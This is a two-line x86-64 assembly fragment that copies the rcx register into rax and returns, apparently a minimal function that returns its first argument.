mov rax, rcx
ret